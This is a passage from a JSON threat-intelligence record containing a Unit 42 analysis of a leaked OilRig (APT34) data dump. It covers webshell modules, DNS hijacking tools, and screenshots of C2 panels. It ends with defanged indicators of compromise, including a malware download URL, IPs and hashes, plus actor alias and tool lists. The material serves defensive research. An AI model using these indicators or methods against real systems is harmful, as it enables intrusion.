3ca3a957c526eaeabcf17b0b2cd345c0fffab549adfdf04470b6983b87f7ec62 Hobocopy\r\nnbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e\r\nnbtscan\r\n1.0.35\r\nrx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e\r\nIntelliAdmin\r\nRemote\r\nExecute\r\nv1.0\r\ntardigrade.exe fe1b011fe089969d960d2dce2a61020725a02e15dbc812ee6b6ecc6a98875392 Tardigrade\r\napplication.\r\nCan perform\r\nport\r\nscanning,\r\nscreenshots\r\nand connect\r\nto remote\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 21 of 27\n\nsystems\r\nwith “net\r\nuse”.\r\nTable 6. Modules included with the Minion webshell\r\nDNS Hijacking Script\r\nIn November 2018, Cisco Talos published research on an attack campaign named DNSpionage. It involved attacks\r\nusing malware to compromise individual endpoints, but most interestingly described an effort to specifically\r\nhijack DNS entries of government organizations to redirect visitors to likely malicious, adversary operated\r\nsystems. Both FireEye and Crowdstrike followed up with their own assessments for the DNS hijacking efforts,\r\nand described operations extending back to January 2017. No attribution to any known adversary groups was\r\nprovided, other than that the target radius was primarily in the Middle East and the adversary was also likely\r\noperating out of that region.\r\nIn this data dump, a tool called webmask is included which appears to be a series of scripts specifically meant to\r\nperform DNS hijacking. An informational document is included titled guide.txt, as seen in Figure 16 that provides\r\ninstructions to the operator on how to execute the DNS hijacking attack using the provided tools. Based upon the\r\ninstructional guide and the provided tools, this package appears consistent with the methodologies FireEye\r\noutlined in their research on how these attacks were executed, including specific details such as the use of ICAP\r\nvia a proxy passthrough, in this case specifically squid, and using certbot to create a Let’s Encrypt SSL certificate.\r\nFigure 16. Instructions within guide.txt explaining how to carry out DNS hijacking attack\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 22 of 27\n\nIn one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP\r\n(185.162.235[.]106) for the legitimate domain to be redirected to. Analysis of this IP provides several interesting\r\ndata points, including possible relationships to previously observed OilRig infrastructure. Examining the hosting\r\nprovider shows that the IP is associated with an Iranian hosting provider called NovinVPS. The autonomous\r\nsystem name of the IP shows that the allocation is controlled by Serverius Holding B.V., which is an autonomous\r\nsystem name we have previously seen associated with the OilRig group. In fact, examining the Class C IP block of\r\n185.162.235[.]0/24 shows at least two other IPs we have previously identified as in use by the OilRig group for\r\nC2 servers. 185.162.235[.]29 and 185.162.235[.]121 and their associated domains, office365-management[.]com\r\nand msoffice-cdn[.]com respectively. Office365-management[.]com was first identified in October 2017 as a C2\r\nservers for OilRig operations delivering the ISMInjector backdoor. Later in February 2018 we were able to link\r\nthe entire grouping of infrastructure to another campaign delivering the OopsIE backdoor via the reuse of WHOIS\r\nregistrant artifacts, shared SSL certificates, and a shared Class C IP block. Figure 17 shows the relationship\r\nbetween the files related to DNS hijacking and known infrastructure associated with OilRig.\r\nFigure 17. Relationship between DNS Hijacking files and OilRig infrastructure\r\nAlthough we are unable to say with certainty that the DNSpionage operations were absolutely executed by the\r\nOilRig group, it is possible based on the provided data that there may be some level of relationship between them.\r\nScreenshots\r\nThe data dump includes several screenshots of resources that the leaker alleged was related to the OilRig group.\r\nThe screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session\r\ndisplaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of\r\npotential destructive attacks against OilRig servers.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 23 of 27\n\nThe screenshot in Figure 18. appears to be a C2 panel for an unknown backdoor. The only name provided is\r\nScarecrow, which is not a name we have previously observed or associated with OilRig. The server is hosted on\r\n142.234.157[.]21 which appears to be hosted by LeaseWeb. If we are to assume the filename is consistent with a\r\nreal time snapshot of the server panel, it would indicate that multiple systems were actively compromised as of\r\nMarch 29, 2019.\r\nFigure 18. Screenshot provided in leak showing Scarecrow panel\r\nFigure 19 shows an administrative panel to an Iranian based virtual hosting provider called Berbid Server. No\r\nother infrastructure details are displayed.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 24 of 27\n\nFigure 19. Screenshot provided in leak showing administrative panel for hosting provider Berbid Server\r\nThe screenshot showed the administrative panel for a VPS account on DeltaHost with four different virtual\r\nservers, as seen in Figure 20. One of these virtual servers was hosted at an IP address of 193.111.152[.]13 and had\r\nbeen up for 194 days (in the red box in Figure 20) at the time this control panel was apparently accessed.\r\nFigure 20. Screenshot in leak of administrative panel for an account at DeltaHost\r\nIf we use the filename of this screenshot and assume that it was taken on March 29, 2019 and subtract 194 days\r\nfrom this date, it is possible that this server had been operational since at least September 16, 2018. On September\r\n24, 2018, we observed an organization targeted by OilRig attempting to download a Zip archive from the\r\nfollowing URL:\r\nhxxp://193.111.152[.]13/[redacted]-ITsoftwareUpdate.zip\r\nThis Zip archive contained a file named [redacted]-ITsoftwareUpdate.exe (SHA256:\r\n5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336), which is a variant of the OopsIE\r\nTrojan we described in detail in a blog we published in September 2018. This suggests that the server displayed in\r\nthe VPS control panel may have indeed been in use by the OilRig threat actors at the time of attack. In addition,\r\ntwo of the other IPs listed in this panel, 185.161.209[.]57 and 185.161.210[.]25 are in the same\r\n185.161.208[.]0/22 range as an IP associated with the DNSpionage campaign, 185.161.211[.]72. This is a tenuous\r\nrelationship at best and does not indicate that the OilRig group is the one executing the DNSpionage campaign,\r\nbut with the combination of the use of DeltaHost and IPs belonging to a fairly small range, there may be reason to\r\nbelieve that these are related to some extent.\r\nFigure 21 is a screenshot of a C2 server panel for Glimpse, which we track using the name BONDUPDATER.\r\nThis screenshot is via an RDP session as indicated by the tab located at the top of the screen and is located at\r\n164.132.67[.]216 which is hosted by OVH. If we again assume the accuracy of the time indicated in the filename,\r\nthis would indicate that no compromised system had checked in since as far out as 71 days.\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 25 of 27\n\nFigure 21. Screenshot in leak of RDP session with a server running the Glimpse C2\r\nConclusion\r\nThis data dump has provided a rare and unusual perspective into the behind-the-scenes activity in an adversary’s\r\noperations. It is important to understand that although we are able to validate the backdoors and webshells\r\nprovided in the dataset as consistent with previously researched OilRig toolsets, in general we are unable to\r\nvalidate the origins of the entirety of the dataset and cannot confirm nor deny that the data has not been\r\nmanipulated in some manner. It is certainly possible that the data dump did indeed originate from a whistleblower,\r\nbut it is just as likely that a third party was able to extract this data. Looking at the data dump as a whole though,\r\nthe targeting and TTPs are consistent with behaviors we have generally associated with OilRig in the past.\r\nAssuming the data in the dump is accurate, it also shows the global reach of the OilRig threat group, which\r\ngenerally is assumed to operate primarily in the Middle East. The disparity in regions and industries for\r\norganizations potentially affected or compromised by OilRig is an excellent example of why organizations\r\nregardless of region or industry should always maintain situational awareness of adversaries, their activities, and\r\nbe prepared to defend against any attack.\r\nIndicators of Compromise\r\nDomains\r\nMyleftheart[.]com\r\noffice365-management[.]com\r\nmsoffice-cdn[.]com\r\nPoison Frog PS1 files\r\n27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 26 of 27\n\n995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd999\r\n0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea330436c\r\nIPs\r\n185.36.191[.]31\r\n185.161.209[.]57\r\n185.161.210[.]25\r\n164.132.67[.]216\r\n212.32.226[.]245\r\n142.234.157[.]21\r\n193.111.152[.]13\r\n185.162.235[.]106\r\n185.162.235[.]29\r\n185.162.235[.]121\r\nOopsIE payload\r\n5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336\r\nSource: https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nhttps://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/\r\nPage 27 of 27",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/"
	],
	"report_names": [
		"behind-the-scenes-with-oilrig"
	],
	"threat_actors": [
		{
			"id": "ce10c1bd-4467-45f9-af83-28fc88e35ca4",
			"created_at": "2022-10-25T15:50:23.458833Z",
			"updated_at": "2026-04-10T02:00:05.419537Z",
			"deleted_at": null,
			"main_name": "APT34",
			"aliases": null,
			"source_name": "MITRE:APT34",
			"tools": [
				"netstat",
				"Systeminfo",
				"PsExec",
				"SEASHARPEE",
				"Tasklist",
				"Mimikatz",
				"POWRUNER",
				"certutil"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "cffb3c01-038f-4527-9cfd-57ad5a035c22",
			"created_at": "2022-10-25T15:50:23.38055Z",
			"updated_at": "2026-04-10T02:00:05.258283Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"COBALT GYPSY",
				"IRN2",
				"APT34",
				"Helix Kitten",
				"Evasive Serpens",
				"Hazel Sandstorm",
				"EUROPIUM",
				"ITG13",
				"Earth Simnavaz",
				"Crambus",
				"TA452"
			],
			"source_name": "MITRE:OilRig",
			"tools": [
				"ISMInjector",
				"ODAgent",
				"RDAT",
				"Systeminfo",
				"QUADAGENT",
				"OopsIE",
				"ngrok",
				"Tasklist",
				"certutil",
				"ZeroCleare",
				"POWRUNER",
				"netstat",
				"Solar",
				"ipconfig",
				"LaZagne",
				"BONDUPDATER",
				"SideTwist",
				"OilBooster",
				"SampleCheck5000",
				"PsExec",
				"SEASHARPEE",
				"Mimikatz",
				"PowerExchange",
				"OilCheck",
				"RGDoor",
				"ftp"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "8d76e350-dfb5-4733-800d-876de41f690d",
			"created_at": "2023-01-06T13:46:38.841887Z",
			"updated_at": "2026-04-10T02:00:03.119083Z",
			"deleted_at": null,
			"main_name": "DNSpionage",
			"aliases": [
				"COBALT EDGEWATER"
			],
			"source_name": "MISPGALAXY:DNSpionage",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "4632103e-8035-4a83-9ecb-c1e12e21288c",
			"created_at": "2022-10-25T16:07:23.542255Z",
			"updated_at": "2026-04-10T02:00:04.64888Z",
			"deleted_at": null,
			"main_name": "DNSpionage",
			"aliases": [],
			"source_name": "ETDA:DNSpionage",
			"tools": [
				"Agent Drable",
				"AgentDrable",
				"CACTUSPIPE",
				"DNSpionage",
				"DropperBackdoor",
				"Karkoff",
				"MailDropper",
				"OILYFACE"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "67b2c161-5a04-4e3d-8ce7-cce457a4a17b",
			"created_at": "2025-08-07T02:03:24.722093Z",
			"updated_at": "2026-04-10T02:00:03.681914Z",
			"deleted_at": null,
			"main_name": "COBALT EDGEWATER",
			"aliases": [
				"APT34 ",
				"Cold River ",
				"DNSpionage "
			],
			"source_name": "Secureworks:COBALT EDGEWATER",
			"tools": [
				"AgentDrable",
				"DNSpionage",
				"Karkoff",
				"MailDropper",
				"SideTwist",
				"TWOTONE"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "c786e025-c267-40bd-9491-328da70811a5",
			"created_at": "2025-08-07T02:03:24.736817Z",
			"updated_at": "2026-04-10T02:00:03.752071Z",
			"deleted_at": null,
			"main_name": "COBALT GYPSY",
			"aliases": [
				"APT34 ",
				"CHRYSENE ",
				"Crambus ",
				"EUROPIUM ",
				"Hazel Sandstorm ",
				"Helix Kitten ",
				"ITG13 ",
				"OilRig ",
				"Yellow Maero "
			],
			"source_name": "Secureworks:COBALT GYPSY",
			"tools": [
				"Glimpse",
				"Helminth",
				"Jason",
				"MacDownloader",
				"PoisonFrog",
				"RGDoor",
				"ThreeDollars",
				"TinyZbot",
				"Toxocara",
				"Trichuris",
				"TwoFace"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "67709937-2186-4a32-b64c-a5693d40ac77",
			"created_at": "2023-01-06T13:46:38.495593Z",
			"updated_at": "2026-04-10T02:00:02.999196Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"Crambus",
				"Helix Kitten",
				"APT34",
				"IRN2",
				"ATK40",
				"G0049",
				"EUROPIUM",
				"TA452",
				"Twisted Kitten",
				"Cobalt Gypsy",
				"APT 34",
				"Evasive Serpens",
				"Hazel Sandstorm",
				"Earth Simnavaz"
			],
			"source_name": "MISPGALAXY:OilRig",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "b6436f7b-6012-4969-aed1-d440e2e8b238",
			"created_at": "2022-10-25T16:07:23.91517Z",
			"updated_at": "2026-04-10T02:00:04.788408Z",
			"deleted_at": null,
			"main_name": "OilRig",
			"aliases": [
				"APT 34",
				"ATK 40",
				"Chrysene",
				"Cobalt Gypsy",
				"Crambus",
				"DEV-0861",
				"EUROPIUM",
				"Earth Simnavaz",
				"Evasive Serpens",
				"G0049",
				"Hazel Sandstorm",
				"Helix Kitten",
				"IRN2",
				"ITG13",
				"Scarred Manticore",
				"Storm-0861",
				"TA452",
				"Twisted Kitten",
				"UNC1860",
				"Yellow Maero"
			],
			"source_name": "ETDA:OilRig",
			"tools": [
				"AMATIAS",
				"Agent Drable",
				"Agent Injector",
				"AgentDrable",
				"Alma Communicator",
				"BONDUPDATER",
				"CACTUSPIPE",
				"Clayslide",
				"CypherRat",
				"DNSExfitrator",
				"DNSpionage",
				"DROPSHOT",
				"DistTrack",
				"DropperBackdoor",
				"Fox Panel",
				"GREYSTUFF",
				"GoogleDrive RAT",
				"HighShell",
				"HyperShell",
				"ISMAgent",
				"ISMDoor",
				"ISMInjector",
				"Jason",
				"Karkoff",
				"LIONTAIL",
				"LOLBAS",
				"LOLBins",
				"LONGWATCH",
				"LaZagne",
				"Living off the Land",
				"MailDropper",
				"Mimikatz",
				"MrPerfectInstaller",
				"OILYFACE",
				"OopsIE",
				"POWBAT",
				"POWRUNER",
				"Plink",
				"Poison Frog",
				"PowerExchange",
				"PsList",
				"PuTTY Link",
				"QUADAGENT",
				"RDAT",
				"RGDoor",
				"SEASHARPEE",
				"Saitama",
				"Saitama Backdoor",
				"Shamoon",
				"SideTwist",
				"SpyNote",
				"SpyNote RAT",
				"StoneDrill",
				"TONEDEAF",
				"TONEDEAF 2.0",
				"ThreeDollars",
				"TwoFace",
				"VALUEVAULT",
				"Webmask",
				"WinRAR",
				"ZEROCLEAR",
				"ZeroCleare",
				"certutil",
				"certutil.exe"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434483,
	"ts_updated_at": 1775792257,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/dbf0bb1244d1cb2b1df3406f6bfe1f96a613d941.pdf",
		"text": "https://archive.orkl.eu/dbf0bb1244d1cb2b1df3406f6bfe1f96a613d941.txt",
		"img": "https://archive.orkl.eu/dbf0bb1244d1cb2b1df3406f6bfe1f96a613d941.jpg"
	}
}